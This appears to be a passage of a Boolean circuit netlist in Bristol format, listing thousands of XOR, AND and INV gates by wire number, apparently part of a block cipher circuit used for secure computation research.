XOR +2 1 1731 1727 1714 AND +2 1 1627 1629 1667 XOR +2 1 1630 1667 1723 XOR +2 1 11677 33077 11553 XOR +2 1 11553 11554 36291 XOR +2 1 36291 1258 34427 XOR +2 1 34427 1925 2011 XOR +2 1 34423 2011 2007 XOR +2 1 2011 2007 1994 AND +2 1 1921 34427 1880 XOR +2 1 34422 1880 2010 XOR +2 1 2010 34422 1996 AND +2 1 11677 11669 11567 XOR +2 1 32831 11567 36284 XOR +2 1 36284 1265 34420 XOR +2 1 34414 34420 1785 XOR +2 1 34419 1785 1871 XOR +2 1 1779 1785 1868 XOR +2 1 27346 27347 36402 XOR +2 1 36398 36402 11415 XOR +2 1 11414 11415 11694 XOR +2 1 36402 36409 11664 XOR +1 1 11664 11547 INV +2 1 11547 36398 11545 XOR +2 1 11545 11546 36296 XOR +2 1 36296 1253 34432 XOR +2 1 34437 34432 2152 XOR +2 1 34432 2058 2060 XOR +2 1 34436 2060 2142 XOR +2 1 2065 2060 2141 XOR +2 1 34433 34432 2035 XOR +2 1 34431 34432 2076 XOR +2 1 2153 2076 2149 XOR +2 1 2145 2149 2138 AND +2 1 11694 11679 36281 XOR +2 1 36281 1268 34417 XOR +2 1 34417 34416 1755 XOR +2 1 34432 34434 2155 XOR +2 1 11689 11547 11558 XOR +2 1 11558 11559 36289 XOR +2 1 36289 1260 34425 XOR +2 1 34423 34425 1918 XOR +2 1 2153 2142 2132 AND +2 1 2132 2060 2062 XOR +2 1 36402 11561 36288 XOR +2 1 36288 1261 34424 XOR +2 1 34424 1918 1920 XOR +2 1 1925 1920 2001 XOR +2 1 34427 1920 1999 XOR +2 1 34425 34424 1895 XOR +2 1 34423 34424 1936 XOR +2 1 34428 1920 2002 XOR +2 1 34424 34426 2015 XOR +2 1 34406 1668 1730 XOR +2 1 1730 34406 1716 AND +2 1 11687 11664 11540 XOR +2 1 36413 11540 36272 XOR +2 1 36272 1277 34408 XOR +2 1 34408 34410 1735 XOR +2 1 34408 1630 1628 XOR +2 1 1629 1735 1720 XOR +2 1 34409 34408 1653 XOR +2 1 34411 1628 1719 XOR +2 1 1735 1720 1711 AND +2 1 34407 34408 1606 XOR +2 1 1734 1719 1715 AND +2 1 1733 1606 1729 XOR +2 1 1725 1729 1718 AND +2 1 1715 1629 1624 XOR +2 1 1606 1728 1726 XOR +2 1 1726 1724 1717 AND +2 1 1711 1717 1615 XOR +2 1 1718 1627 1622 XOR +2 1 1621 1628 1721 XOR +2 1 1728 1721 1713 AND +2 1 34413 34408 1732 XOR +2 1 1732 1723 1710 AND +2 1 1710 1716 1619 XOR +2 1 1619 1629 1607 XOR +2 1 1615 1607 1706 XOR +2 1 1710 1713 1623 XOR +2 1 1624 1623 1651 XOR +2 1 1711 1623 1604 XOR +2 1 1714 1604 1655 XOR +2 1 34407 1655 1701 XOR +2 1 2138 2061 2064 XOR +2 1 2064 2062 2068 XOR +2 1 34437 2068 2074 XOR +2 1 34412 1628 1722 XOR +2 1 1733 1722 1712 AND +2 1 1711 1712 1654 XOR +2 1 1654 1653 1600 XOR +2 1 1600 1624 1601 XOR +2 1 1714 1601 1708 XOR +2 1 1712 1628 1626 XOR +2 1 1651 1626 1707 XOR +2 1 1622 1626 1617 XOR +2 1 34413 1617 1608 XOR +2 1 1617 1619 1652 XOR +2 1 34411 1652 1602 XOR +2 1 1615 1608 1709 XOR +2 1 1709 1708 1705 AND +2 1 1705 1707 1704 XOR +2 1 1705 1602 1700 XOR +2 1 1700 1701 1699 AND +2 1 1699 1716 1657 XOR +2 1 1705 1699 1697 XOR +2 1 1707 1697 1696 AND +2 1 1696 1704 1694 XOR +2 1 1657 1713 1662 XOR +2 1 1699 1604 1656 XOR +2 1 1696 1714 1616 XOR +2 1 34407 1616 1613 XOR +2 1 1613 1656 1695 XOR +2 1 1695 1724 1685 AND +2 1 1706 1704 1703 AND +2 1 1703 1608 1663 XOR +2 1 1703 1602 1702 XOR +2 1 1703 1715 1660 XOR +2 1 1702 1728 1672 AND +2 1 1695 1726 1676 AND +2 1 1702 1694 1693 AND +2 1 1693 1615 1609 XOR +2 1 1609 1607 1692 XOR +2 1 1692 1731 1682 AND +2 1 1693 1717 1658 XOR +2 1 1613 1658 1666 XOR +2 1 1629 1666 1659 XOR +2 1 1662 1659 1691 XOR +2 1 1691 1732 1669 AND +2 1 1691 1723 1678 AND +2 1 1702 1721 1681 AND +2 1 1681 1682 1649 XOR +2 1 1616 1601 1688 XOR +2 1 1688 1729 1677 AND +2 1 1688 1725 1686 AND +2 1 1692 1727 1673 AND +2 1 1681 1673 1631 XOR +2 1 1660 1622 1664 XOR +2 1 34413 1664 1661 XOR +2 1 1662 1661 1690 XOR +2 1 1690 1733 1671 AND +2 1 34411 1664 1665 XOR +2 1 1666 1665 1687 XOR +2 1 1687 1720 1679 AND +2 1 1690 1722 1680 AND +2 1 1679 1680 1638 XOR +2 1 1687 1735 1670 AND +2 1 1670 1671 1625 XOR +2 1 1631 1625 1635 XOR +2 1 1676 1625 1620 XOR +2 1 1677 1620 1618 XOR +2 1 1685 1618 1610 XOR +2 1 1686 1610 1605 XOR +2 1 1605 1638 1737 XOR +1 1 1737 34540 INV +2 1 34540 1049 36893 XOR +2 1 1609 1663 1689 XOR +2 1 1689 1719 1683 AND +2 1 1689 1734 1674 AND +2 1 1683 1674 1633 XOR +2 1 1674 1678 1612 XOR +1 1 1612 1640 INV +2 1 1640 1635 1636 XOR +2 1 1640 1672 1641 XOR +2 1 1682 1683 1611 XOR +2 1 1679 1611 1603 XOR +2 1 1611 1605 34538 XOR +2 1 34538 1051 36891 XOR +2 1 1680 1603 1650 XOR +2 1 1618 1650 34541 XOR +2 1 34541 1048 36894 XOR +2 1 1699 1707 1698 XOR +2 1 1698 1730 1675 AND +2 1 1675 1603 1644 XOR +2 1 1680 1669 1639 XOR +1 1 1639 1643 INV +1 1 1644 1647 INV +2 1 1698 34406 1684 AND +2 1 1684 1610 1648 XOR +2 1 1684 1686 1614 XOR +2 1 1641 1614 1645 XOR +2 1 1620 1645 1646 XOR +2 1 1647 1646 34536 XOR +2 1 34536 1053 36889 XOR +2 1 1671 1645 1642 XOR +2 1 1643 1642 1736 XOR +1 1 1736 34539 INV +2 1 34539 1050 36892 XOR +2 1 1614 1635 1632 XOR +2 1 1633 1632 1739 XOR +1 1 1739 34534 INV +2 1 34534 1055 36887 XOR +2 1 1649 1648 34537 XOR +2 1 34537 1052 36890 XOR +2 1 1679 1682 1634 XOR +1 1 1634 1637 INV +2 1 1637 1636 1738 XOR +1 1 1738 34535 INV +2 1 34535 1054 36888 XOR +2 1 36299 1250 34435 XOR +2 1 34435 2060 2139 XOR +2 1 2154 2139 2135 AND +2 1 2061 34435 2020 XOR +2 1 34430 2020 2150 XOR +2 1 2150 34430 2136 AND +2 1 34435 2065 2151 XOR +2 1 34431 2151 2147 XOR +2 1 34435 34437 2059 XOR +2 1 2061 2059 2021 XOR +2 1 2059 2155 2140 XOR +2 1 2155 2140 2131 AND +2 1 2059 2065 2148 XOR +2 1 2148 2141 2133 AND +2 1 2076 2148 2146 XOR +2 1 2058 2021 2143 XOR +2 1 2152 2143 2130 AND +2 1 2130 2133 2084 XOR +2 1 2131 2084 2078 XOR +2 1 2130 2136 2088 XOR +2 1 2088 2059 2075 XOR +2 1 2068 2088 2036 XOR +2 1 34435 2036 2080 XOR +2 1 2151 2147 2134 AND +2 1 2134 2078 2033 XOR +2 1 34431 2033 2121 XOR +2 1 2146 2144 2137 AND +2 1 2131 2137 2083 XOR +2 1 2083 2074 2129 XOR +2 1 2083 2075 2126 XOR +2 1 2135 2059 2063 XOR +2 1 2063 2084 2037 XOR +2 1 2131 2132 2034 XOR +2 1 2034 2035 2082 XOR +2 1 2082 2063 2081 XOR +2 1 2134 2081 2128 XOR +2 1 2129 2128 2125 AND +2 1 2125 2080 2120 XOR +2 1 2120 2121 2119 AND +2 1 2119 2136 2031 XOR +2 1 2119 2078 2032 XOR +2 1 2125 2119 2117 XOR +2 1 2031 2133 2026 XOR +2 1 2037 2062 2127 XOR +2 1 2119 2127 2118 XOR +2 1 2118 34430 2104 AND +2 1 2125 2127 2124 XOR +2 1 2127 2117 2116 AND +2 1 2116 2124 2114 XOR +2 1 2118 2150 2095 AND +2 1 2126 2124 2123 AND +2 1 2123 2080 2122 XOR +2 1 2122 2114 2113 AND +2 1 2122 2148 2092 AND +2 1 2122 2141 2101 AND +2 1 2123 2135 2028 XOR +2 1 2028 2064 2024 XOR +2 1 34435 2024 2023 XOR +2 1 34437 2024 2027 XOR +2 1 2113 2083 2073 XOR +2 1 2073 2075 2112 XOR +2 1 2112 2147 2093 AND +2 1 2101 2093 2057 XOR +2 1 2112 2151 2102 AND +2 1 2101 2102 2039 XOR +2 1 2026 2027 2110 XOR +2 1 2110 2142 2100 AND +2 1 2110 2153 2091 AND +2 1 2123 2074 2025 XOR +2 1 2073 2025 2109 XOR +2 1 2109 2154 2094 AND +2 1 2109 2139 2103 AND +2 1 2103 2094 2055 XOR +2 1 2102 2103 2071 XOR +2 1 2116 2134 2087 XOR +2 1 34431 2087 2069 XOR +2 1 2069 2032 2115 XOR +2 1 2115 2144 2105 AND +2 1 2115 2146 2096 AND +2 1 2087 2081 2108 XOR +2 1 2108 2149 2097 AND +2 1 2108 2145 2106 AND +2 1 2104 2106 2086 XOR +2 1 2113 2137 2030 XOR +2 1 2069 2030 2022 XOR +2 1 2059 2022 2029 XOR +2 1 2026 2029 2111 XOR +2 1 2111 2143 2098 AND +2 1 2111 2152 2089 AND +2 1 2094 2098 2070 XOR +1 1 2070 2048 INV +2 1 2048 2092 2047 XOR +2 1 2047 2086 2043 XOR +2 1 2091 2043 2046 XOR +2 1 2100 2089 2049 XOR +1 1 2049 2045 INV +2 1 2045 2046 2156 XOR +1 1 2156 34563 INV +2 1 34563 1122 36820 XOR +2 1 2022 2023 2107 XOR +2 1 2107 2140 2099 AND +2 1 2099 2071 2079 XOR +2 1 2095 2079 2044 XOR +1 1 2044 2041 INV +2 1 2099 2100 2050 XOR +2 1 2100 2079 2038 XOR +2 1 2099 2102 2054 XOR +1 1 2054 2051 INV +2 1 2107 2155 2090 AND +2 1 2090 2091 2085 XOR +2 1 2057 2085 2053 XOR +2 1 2048 2053 2052 XOR +2 1 2051 2052 2158 XOR +1 1 2158 34559 INV +2 1 34559 1126 36816 XOR +2 1 2086 2053 2056 XOR +2 1 2055 2056 2159 XOR +1 1 2159 34558 INV +2 1 34558 1127 36815 XOR +2 1 2096 2085 2066 XOR +2 1 2066 2043 2042 XOR +2 1 2097 2066 2067 XOR +2 1 2067 2038 34565 XOR +2 1 34565 1120 36822 XOR +2 1 2105 2067 2072 XOR +2 1 2106 2072 2077 XOR +2 1 2071 2077 34562 XOR +2 1 34562 1123 36819 XOR +2 1 2104 2072 2040 XOR +2 1 2039 2040 34561 XOR +2 1 34561 1124 36818 XOR +2 1 2041 2042 34560 XOR +2 1 34560 1125 36817 XOR +2 1 2077 2050 2157 XOR +1 1 2157 34564 INV +2 1 34564 1121 36821 XOR +2 1 36438 11457 36349 XOR +2 1 36349 1200 34485 XOR +2 1 34482 34485 2852 XOR +2 1 2758 2852 2844 XOR +2 1 34485 34480 2851 XOR +2 1 34483 34485 2759 XOR +2 1 34485 34479 2853 XOR +2 1 2853 2838 2834 AND +2 1 2834 2759 2763 XOR +2 1 2852 2841 2831 AND +2 1 2831 2760 2762 XOR +2 1 2759 2765 2847 XOR +2 1 2847 2840 2832 AND +2 1 34478 2844 2843 XOR +2 1 2852 2775 2848 XOR +2 1 2759 2854 2839 XOR +2 1 2854 2839 2830 AND +2 1 2830 2831 2734 XOR +2 1 2734 2735 2781 XOR +2 1 2781 2763 2780 XOR +2 1 2844 2848 2837 AND +2 1 2837 2761 2764 XOR +2 1 2764 2762 2768 XOR +2 1 34485 2768 2773 XOR +2 1 2775 2847 2845 XOR +2 1 2845 2843 2836 AND +2 1 2830 2836 2782 XOR +2 1 2782 2773 2828 XOR +2 1 2761 2759 2721 XOR +2 1 2758 2721 2842 XOR +2 1 2851 2842 2829 AND +2 1 2829 2832 2783 XOR +2 1 2763 2783 2737 XOR +2 1 2737 2762 2826 XOR +2 1 2830 2783 2777 XOR +2 1 2833 2777 2733 XOR +2 1 34479 2733 2820 XOR +2 1 2829 2835 2787 XOR +2 1 2787 2759 2774 XOR +2 1 2782 2774 2825 XOR +2 1 2768 2787 2736 XOR +2 1 34483 2736 2779 XOR +2 1 2833 2780 2827 XOR +2 1 2828 2827 2824 AND +2 1 2824 2779 2819 XOR +2 1 2819 2820 2818 AND +2 1 2818 2826 2817 XOR +2 1 2817 34478 2803 AND +2 1 2824 2818 2816 XOR +2 1 2826 2816 2815 AND +2 1 2815 2833 2786 XOR +2 1 2786 2780 2807 XOR +2 1 2807 2844 2805 AND +2 1 2803 2805 2785 XOR +2 1 2807 2848 2796 AND +2 1 2818 2777 2732 XOR +2 1 2817 2849 2794 AND +2 1 34479 2786 2769 XOR +2 1 2769 2732 2814 XOR +2 1 2814 2845 2795 AND +2 1 2814 2843 2804 AND +2 1 2818 2835 2731 XOR +2 1 2731 2832 2726 XOR +2 1 2824 2826 2823 XOR +2 1 2825 2823 2822 AND +2 1 2822 2834 2728 XOR +2 1 2728 2764 2724 XOR +2 1 34485 2724 2727 XOR +2 1 2726 2727 2809 XOR +2 1 2809 2852 2790 AND +2 1 34483 2724 2723 XOR +2 1 2809 2841 2799 AND +2 1 2822 2773 2725 XOR +2 1 2815 2823 2813 XOR +2 1 2822 2779 2821 XOR +2 1 2821 2840 2800 AND +2 1 2821 2813 2812 AND +2 1 2812 2836 2730 XOR +2 1 2812 2782 2772 XOR +2 1 2772 2774 2811 XOR +2 1 2811 2850 2801 AND +2 1 2800 2801 2739 XOR +2 1 2772 2725 2808 XOR +2 1 2808 2853 2793 AND +2 1 2808 2838 2802 AND +2 1 2801 2802 32639 XOR +2 1 2821 2847 2791 AND +2 1 2811 2846 2792 AND +2 1 2769 2730 2722 XOR +2 1 2722 2723 2806 XOR +2 1 2806 2854 2789 AND +2 1 2806 2839 2798 AND +2 1 2798 32639 2778 XOR +2 1 2798 2799 2750 XOR +2 1 2799 2778 2738 XOR +2 1 2794 2778 2744 XOR +1 1 2744 2741 INV +2 1 2759 2722 2729 XOR +2 1 2798 2801 2754 XOR +1 1 2754 2751 INV +2 1 2789 2790 2784 XOR +2 1 2795 2784 2766 XOR +2 1 2796 2766 2767 XOR +2 1 2767 2738 34613 XOR +2 1 34613 1136 36806 XOR +2 1 2804 2767 2771 XOR +2 1 2805 2771 2776 XOR +2 1 2776 2750 2856 XOR +2 1 2803 2771 2740 XOR +2 1 2739 2740 34609 XOR +2 1 34609 1140 36802 XOR +1 1 2856 34612 INV +2 1 34612 1137 36805 XOR +2 1 32639 2776 34610 XOR +2 1 34610 1139 36803 XOR +2 1 2726 2729 2810 XOR +2 1 2810 2842 2797 AND +2 1 2793 2797 2770 XOR +2 1 2810 2851 2788 AND +2 1 2799 2788 2749 XOR +1 1 2749 2745 INV +1 1 2770 2748 INV +2 1 2748 2791 2747 XOR +2 1 2747 2785 2743 XOR +2 1 2766 2743 2742 XOR +2 1 2790 2743 2746 XOR +2 1 2741 2742 34608 XOR +2 1 2745 2746 2855 XOR +1 1 2855 34611 INV +2 1 34611 1138 36804 XOR +2 1 2802 2793 2755 XOR +2 1 2800 2792 2757 XOR +2 1 2757 2784 2753 XOR +2 1 2748 2753 2752 XOR +2 1 2751 2752 2857 XOR +1 1 2857 34607 INV +2 1 34607 1142 36800 XOR +2 1 2785 2753 2756 XOR +2 1 2755 2756 2858 XOR +1 1 2858 34606 INV +2 1 34606 1143 36799 XOR +2 1 10754 10716 10720 XOR +2 1 10755 10720 10725 XOR +2 1 10725 10699 10806 XOR +2 1 10753 10720 10689 XOR +2 1 10688 10689 36432 XOR +2 1 11631 36432 11381 XOR +2 1 36428 36432 11647 XOR +2 1 11509 11647 11519 XOR +2 1 11709 11647 36305 XOR +2 1 11491 11647 11488 XOR +2 1 36305 1244 34441 XOR +2 1 11629 36432 11389 XOR +2 1 11389 11390 11704 XOR +2 1 11704 11654 36321 XOR +2 1 36321 1228 34457 XOR +2 1 34439 34441 2198 XOR +2 1 34441 34440 2175 XOR +2 1 34440 2198 2200 XOR +2 1 10737 10725 36433 XOR +2 1 36429 36433 11642 XOR +2 1 11646 11642 11487 XOR +2 1 11381 11382 11708 XOR +2 1 11708 11642 36306 XOR +2 1 36306 1243 34442 XOR +2 1 34440 34442 2295 XOR +2 1 33076 11487 36331 XOR +2 1 36331 1218 34467 XOR +2 1 34455 34457 2478 XOR +2 1 11637 36433 11533 XOR +2 1 11533 11534 36307 XOR +2 1 36307 1242 34443 XOR +2 1 34443 2200 2279 XOR +1 1 10806 32839 INV +2 1 11622 32839 11484 XOR +2 1 11484 11485 36333 XOR +2 1 36333 1216 34469 XOR +2 1 34469 34464 2712 XOR +2 1 11639 32839 11531 XOR +2 1 11531 11532 36308 XOR +2 1 36308 1241 34444 XOR +2 1 34444 2200 2282 XOR +2 1 34438 34444 2205 XOR +2 1 2205 2200 2281 XOR +2 1 34443 2205 2291 XOR +2 1 34442 34444 2201 XOR +2 1 34439 2291 2287 XOR +2 1 2291 2287 2274 AND +2 1 2201 34443 2160 XOR +2 1 34438 2160 2290 XOR +2 1 2290 34438 2276 AND +2 1 34457 34456 2455 XOR +2 1 11393 36433 11391 XOR +2 1 11518 11642 11515 XOR +2 1 11515 11516 36314 XOR +2 1 36314 1235 34450 XOR +2 1 34448 34450 2435 XOR +2 1 2339 2435 2420 XOR +2 1 2435 2420 2411 AND +2 1 34450 34453 2433 XOR +2 1 2433 2356 2429 XOR +2 1 11519 11520 36313 XOR +2 1 36313 1236 34449 XOR +2 1 34447 34449 2338 XOR +2 1 2338 2433 2425 XOR +2 1 34446 2425 2424 XOR +2 1 2425 2429 2418 AND +2 1 34448 2338 2340 XOR +2 1 34451 2340 2419 XOR +2 1 34449 34448 2315 XOR +2 1 2434 2419 2415 AND +2 1 2415 2339 2343 XOR +2 1 34469 34463 2714 XOR +2 1 32843 32839 11640 XOR +2 1 11640 11621 11530 XOR +2 1 36426 11530 36309 XOR +2 1 11646 11640 11513 XOR +2 1 11640 33076 11502 XOR +2 1 11502 11503 36324 XOR +2 1 36324 1225 34460 XOR +2 1 34454 34460 2485 XOR +2 1 34459 2485 2571 XOR +2 1 34455 2571 2567 XOR +2 1 33069 11513 36316 XOR +2 1 36316 1233 34452 XOR +2 1 34450 34452 2341 XOR +2 1 34452 2340 2422 XOR +2 1 2571 2567 2554 AND +2 1 2341 34451 2300 XOR +2 1 2418 2341 2344 XOR +2 1 34446 34452 2345 XOR +2 1 2345 2340 2421 XOR +2 1 2339 2345 2428 XOR +2 1 2428 2421 2413 AND +2 1 34451 2345 2431 XOR +2 1 34447 2431 2427 XOR +2 1 2431 2427 2414 AND +2 1 2356 2428 2426 XOR +2 1 2341 2339 2301 XOR +2 1 2338 2301 2423 XOR +2 1 34446 2300 2430 XOR +2 1 2430 34446 2416 AND +2 1 2426 2424 2417 AND +2 1 2411 2417 2363 XOR +2 1 2433 2422 2412 AND +2 1 2411 2412 2314 XOR +2 1 2412 2340 2342 XOR +2 1 2344 2342 2348 XOR +2 1 34453 2348 2354 XOR +2 1 2363 2354 2409 XOR +2 1 2314 2315 2362 XOR +2 1 2362 2343 2361 XOR +2 1 2414 2361 2408 XOR +2 1 2409 2408 2405 AND +2 1 2432 2423 2410 AND +2 1 2410 2416 2368 XOR +2 1 2368 2339 2355 XOR +2 1 2363 2355 2406 XOR +2 1 2348 2368 2316 XOR +2 1 34451 2316 2360 XOR +2 1 2405 2360 2400 XOR +2 1 2410 2413 2364 XOR +2 1 2411 2364 2358 XOR +2 1 2343 2364 2317 XOR +2 1 2317 2342 2407 XOR +2 1 2405 2407 2404 XOR +2 1 2406 2404 2403 AND +2 1 2403 2360 2402 XOR +2 1 2403 2415 2308 XOR +2 1 2308 2344 2304 XOR +2 1 34453 2304 2307 XOR +2 1 2402 2421 2381 AND +2 1 2403 2354 2305 XOR +2 1 2414 2358 2313 XOR +2 1 34447 2313 2401 XOR +2 1 2400 2401 2399 AND +2 1 2399 2358 2312 XOR +2 1 2399 2407 2398 XOR +2 1 2398 2430 2375 AND +2 1 2405 2399 2397 XOR +2 1 2407 2397 2396 AND +2 1 2396 2414 2367 XOR +2 1 2367 2361 2388 XOR +2 1 2388 2429 2377 AND +2 1 2388 2425 2386 AND +2 1 34447 2367 2349 XOR +2 1 2398 34446 2384 AND +2 1 2384 2386 2366 XOR +2 1 2396 2404 2394 XOR +2 1 2402 2394 2393 AND +2 1 2393 2363 2353 XOR +2 1 2353 2355 2392 XOR +2 1 2392 2427 2373 AND +2 1 2381 2373 2337 XOR +2 1 2392 2431 2382 AND +2 1 2381 2382 2319 XOR +2 1 2349 2312 2395 XOR +2 1 2395 2424 2385 AND +2 1 2399 2416 2311 XOR +2 1 2311 2413 2306 XOR +2 1 2306 2307 2390 XOR +2 1 2390 2422 2380 AND +2 1 2390 2433 2371 AND +2 1 2393 2417 2310 XOR +2 1 2349 2310 2302 XOR +2 1 2339 2302 2309 XOR +2 1 2306 2309 2391 XOR +2 1 2391 2432 2369 AND +2 1 2391 2423 2378 AND +2 1 2380 2369 2329 XOR +1 1 2329 2325 INV +2 1 2353 2305 2389 XOR +2 1 2389 2434 2374 AND +2 1 2374 2378 2350 XOR +2 1 2389 2419 2383 AND +2 1 2383 2374 2335 XOR +1 1 2350 2328 INV +2 1 2382 2383 2351 XOR +2 1 34451 2304 2303 XOR +2 1 2302 2303 2387 XOR +2 1 2387 2420 2379 AND +2 1 2379 2380 2330 XOR +2 1 2387 2435 2370 AND +2 1 2379 2351 2359 XOR +2 1 2375 2359 2324 XOR +2 1 2380 2359 2318 XOR +1 1 2324 2321 INV +2 1 2379 2382 2334 XOR +1 1 2334 2331 INV +2 1 2370 2371 2365 XOR +2 1 2337 2365 2333 XOR +2 1 2366 2333 2336 XOR +2 1 2335 2336 2439 XOR +2 1 2328 2333 2332 XOR +2 1 2331 2332 2438 XOR +2 1 2395 2426 2376 AND +2 1 2376 2365 2346 XOR +2 1 2377 2346 2347 XOR +2 1 2385 2347 2352 XOR +2 1 2386 2352 2357 XOR +2 1 2357 2330 2437 XOR +2 1 2347 2318 34581 XOR +2 1 2351 2357 34578 XOR +2 1 34578 1043 36899 XOR +2 1 2384 2352 2320 XOR +2 1 2319 2320 34577 XOR +2 1 34577 1044 36898 XOR +1 1 2437 34580 INV +2 1 34580 1041 36901 XOR +2 1 34581 1040 36902 XOR +1 1 2439 34574 INV +2 1 36309 1240 34445 XOR +2 1 34442 34445 2293 XOR +2 1 2198 2293 2285 XOR +2 1 34438 2285 2284 XOR +2 1 2293 2216 2289 XOR +2 1 34445 34439 2294 XOR +2 1 34445 34440 2292 XOR +2 1 2294 2279 2275 AND +2 1 2293 2282 2272 AND +2 1 34443 34445 2199 XOR +2 1 2199 2205 2288 XOR +2 1 2199 2295 2280 XOR +2 1 2216 2288 2286 XOR +2 1 2286 2284 2277 AND +2 1 2272 2200 2202 XOR +2 1 2275 2199 2203 XOR +2 1 2201 2199 2161 XOR +2 1 2198 2161 2283 XOR +2 1 2292 2283 2270 AND +2 1 2270 2276 2228 XOR +2 1 2228 2199 2215 XOR +2 1 2285 2289 2278 AND +2 1 2278 2201 2204 XOR +2 1 2204 2202 2208 XOR +2 1 2208 2228 2176 XOR +2 1 34443 2176 2220 XOR +2 1 34445 2208 2214 XOR +2 1 2288 2281 2273 AND +2 1 2270 2273 2224 XOR +2 1 2203 2224 2177 XOR +2 1 2177 2202 2267 XOR +2 1 2295 2280 2271 AND +2 1 2271 2224 2218 XOR +2 1 2271 2272 2174 XOR +2 1 2174 2175 2222 XOR +2 1 2222 2203 2221 XOR +2 1 2274 2221 2268 XOR +2 1 2274 2218 2173 XOR +2 1 34439 2173 2261 XOR +2 1 2271 2277 2223 XOR +2 1 2223 2215 2266 XOR +2 1 2223 2214 2269 XOR +2 1 2269 2268 2265 AND +2 1 2265 2267 2264 XOR +2 1 2266 2264 2263 AND +2 1 2265 2220 2260 XOR +2 1 2260 2261 2259 AND +2 1 2259 2276 2171 XOR +2 1 2259 2267 2258 XOR +2 1 2265 2259 2257 XOR +2 1 2171 2273 2166 XOR +2 1 2267 2257 2256 AND +2 1 2256 2274 2227 XOR +2 1 2256 2264 2254 XOR +2 1 34439 2227 2209 XOR +2 1 2227 2221 2248 XOR +2 1 2248 2285 2246 AND +2 1 2263 2220 2262 XOR +2 1 2262 2254 2253 AND +2 1 2253 2223 2213 XOR +2 1 2213 2215 2252 XOR +2 1 2262 2281 2241 AND +2 1 2263 2214 2165 XOR +2 1 2248 2289 2237 AND +2 1 2213 2165 2249 XOR +2 1 2249 2294 2234 AND +2 1 2263 2275 2168 XOR +2 1 2252 2287 2233 AND +2 1 2262 2288 2232 AND +2 1 2241 2233 2197 XOR +2 1 2259 2218 2172 XOR +2 1 2209 2172 2255 XOR +2 1 2255 2284 2245 AND +2 1 2255 2286 2236 AND +2 1 2253 2277 2170 XOR +2 1 2209 2170 2162 XOR +2 1 2199 2162 2169 XOR +2 1 2166 2169 2251 XOR +2 1 2251 2283 2238 AND +2 1 2251 2292 2229 AND +2 1 2234 2238 2210 XOR +1 1 2210 2188 INV +2 1 2188 2232 2187 XOR +2 1 2168 2204 2164 XOR +2 1 34445 2164 2167 XOR +2 1 2166 2167 2250 XOR +2 1 2250 2282 2240 AND +2 1 2240 2229 2189 XOR +1 1 2189 2185 INV +2 1 34443 2164 2163 XOR +2 1 2162 2163 2247 XOR +2 1 2247 2280 2239 AND +2 1 2239 2240 2190 XOR +2 1 2247 2295 2230 AND +2 1 2250 2293 2231 AND +2 1 2230 2231 2225 XOR +2 1 2236 2225 2206 XOR +2 1 2237 2206 2207 XOR +2 1 2245 2207 2212 XOR +2 1 2246 2212 2217 XOR +2 1 2217 2190 2297 XOR +2 1 2197 2225 2193 XOR +2 1 2188 2193 2192 XOR +1 1 2297 34572 INV +2 1 34572 1145 36797 XOR +2 1 2252 2291 2242 AND +2 1 2241 2242 2179 XOR +2 1 2239 2242 2194 XOR +1 1 2194 2191 INV +2 1 2191 2192 2298 XOR +1 1 2298 34567 INV +2 1 2258 34438 2244 AND +2 1 2244 2246 2226 XOR +2 1 2226 2193 2196 XOR +2 1 2244 2212 2180 XOR +2 1 2179 2180 34569 XOR +2 1 34569 1148 36794 XOR +2 1 2187 2226 2183 XOR +2 1 2206 2183 2182 XOR +2 1 2231 2183 2186 XOR +2 1 2185 2186 2296 XOR +1 1 2296 34571 INV +2 1 34571 1146 36796 XOR +2 1 34567 1150 36792 XOR +2 1 34467 34469 2619 XOR +2 1 2402 2428 2372 AND +2 1 2328 2372 2327 XOR +2 1 2327 2366 2323 XOR +2 1 2346 2323 2322 XOR +2 1 2321 2322 34576 XOR +2 1 34576 1045 36897 XOR +2 1 2371 2323 2326 XOR +2 1 2325 2326 2436 XOR +1 1 2436 34579 INV +2 1 34579 1042 36900 XOR +2 1 11391 11392 11703 XOR +2 1 11703 11650 36322 XOR +2 1 36322 1227 34458 XOR +2 1 34456 34458 2575 XOR +2 1 34467 2620 2699 XOR +2 1 2714 2699 2695 AND +2 1 2695 2619 2623 XOR +2 1 2249 2279 2243 AND +2 1 2242 2243 2211 XOR +2 1 2211 2217 34570 XOR +2 1 2239 2211 2219 XOR +2 1 2243 2234 2195 XOR +2 1 2195 2196 2299 XOR +1 1 2299 34566 INV +2 1 2240 2219 2178 XOR +2 1 2207 2178 34573 XOR +2 1 34570 1147 36795 XOR +2 1 34573 1144 36798 XOR +2 1 34566 1151 36791 XOR +2 1 34458 34460 2481 XOR +2 1 2481 34459 2440 XOR +2 1 34454 2440 2570 XOR +2 1 2570 34454 2556 AND +1 1 2438 34575 INV +2 1 34575 1046 36896 XOR +2 1 34574 1047 36895 XOR +2 1 11488 11489 36330 XOR +2 1 36330 1219 34466 XOR +2 1 34464 34466 2715 XOR +2 1 2619 2715 2700 XOR +2 1 2715 2700 2691 AND +2 1 34466 34469 2713 XOR +2 1 2618 2713 2705 XOR +2 1 34462 2705 2704 XOR +2 1 2713 2636 2709 XOR +2 1 2705 2709 2698 AND +2 1 2258 2290 2235 AND +2 1 2235 2219 2184 XOR +1 1 2184 2181 INV +2 1 2181 2182 34568 XOR +2 1 34568 1149 36793 XOR +2 1 34456 2478 2480 XOR +2 1 34460 2480 2562 XOR +2 1 2485 2480 2561 XOR +2 1 34459 2480 2559 XOR +2 1 36332 1217 34468 XOR +2 1 34468 2620 2702 XOR +2 1 34466 34468 2621 XOR +2 1 2621 2619 2581 XOR +2 1 2713 2702 2692 AND +2 1 2618 2581 2703 XOR +2 1 2712 2703 2690 AND +2 1 34462 34468 2625 XOR +2 1 2619 2625 2708 XOR +2 1 2625 2620 2701 XOR +2 1 2708 2701 2693 AND +2 1 2621 34467 2580 XOR +2 1 34462 2580 2710 XOR +2 1 2710 34462 2696 AND +2 1 2690 2696 2648 XOR +2 1 2648 2619 2635 XOR +2 1 2692 2620 2622 XOR +2 1 2691 2692 2594 XOR +2 1 2594 2595 2642 XOR +2 1 2642 2623 2641 XOR +2 1 34467 2625 2711 XOR +2 1 34463 2711 2707 XOR +2 1 2711 2707 2694 AND +2 1 2694 2641 2688 XOR +2 1 2636 2708 2706 XOR +2 1 2706 2704 2697 AND +2 1 2690 2693 2644 XOR +2 1 2623 2644 2597 XOR +2 1 2597 2622 2687 XOR +2 1 2698 2621 2624 XOR +2 1 2624 2622 2628 XOR +2 1 34469 2628 2634 XOR +2 1 2628 2648 2596 XOR +2 1 34467 2596 2640 XOR +2 1 2691 2697 2643 XOR 